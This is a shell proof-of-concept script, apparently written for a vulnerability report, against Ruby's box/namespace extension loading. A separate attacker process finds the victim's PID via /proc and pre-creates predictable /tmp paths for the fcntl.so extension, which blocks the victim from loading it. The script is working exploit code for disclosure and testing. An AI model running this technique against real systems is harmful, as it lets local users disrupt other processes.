#!/bin/sh
# PoC-2 orchestrator: a SEPARATE attacker process blocks namespace ext loading in
# a victim, using only externally-observable info (victim PID via /proc, the
# deterministic/low-entropy box_id, and the known extension name "fcntl").
# Local-only, non-destructive, finishes in ~1s. No daemons; the victim is a
# transient backgrounded job that we wait on.
set -u
RUBY="${RUBY:-./ruby}"
HERE="$(cd "$(dirname "$0")" && pwd)"
TOKEN="boxpoc_$$_$(date +%s)"
COORD="$(mktemp -d)"
TMPDIR_GUESS="/tmp"
EXT_BASENAME="fcntl.so"
trap 'rm -rf "$COORD"; for id in $IDS; do rm -f "$TMPDIR_GUESS/_ruby_box_p${VPID}_${id}_${EXT_BASENAME}"; done 2>/dev/null' EXIT
IDS="1 2 3 4 5 6 7 8"
VPID=""

# 1) Launch victim (transient background job).
RUBY_BOX=1 ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
  "$RUBY" --disable-gems -I.ext/x86_64-linux -Ilib "$HERE/box_victim.rb" "$COORD" "$TOKEN" \
  >/dev/null 2>&1 &
VJOB=$!

# 2) Attacker independently discovers the victim PID from /proc via the cmdline token.
for _ in $(seq 1 500); do
  for p in /proc/[0-9]*/cmdline; do
    if tr '\0' ' ' < "$p" 2>/dev/null | grep -q "$TOKEN" \
       && tr '\0' ' ' < "$p" 2>/dev/null | grep -q "box_victim.rb"; then
      VPID="$(basename "$(dirname "$p")")"; break
    fi
  done
  [ -n "$VPID" ] && break
  sleep 0.01
done
echo "attacker: discovered victim PID via /proc = ${VPID:-<not found>}"

# 3) Wait until the victim has created its box (box_id now fixed), then pre-create
#    the predictable destination path for a small box_id range x known basename.
for _ in $(seq 1 500); do [ -f "$COORD/ready" ] && break; sleep 0.01; done
echo "attacker: pre-creating predictable paths for PID=$VPID, box_id in {$IDS}, ext=$EXT_BASENAME"
for id in $IDS; do
  printf 'attacker-planted' > "$TMPDIR_GUESS/_ruby_box_p${VPID}_${id}_${EXT_BASENAME}"
done

# 4) Release the victim and collect its result.
: > "$COORD/go"
wait "$VJOB" 2>/dev/null
echo "victim info : $(cat "$COORD/info" 2>/dev/null)"
echo "victim result: $(cat "$COORD/result" 2>/dev/null)"
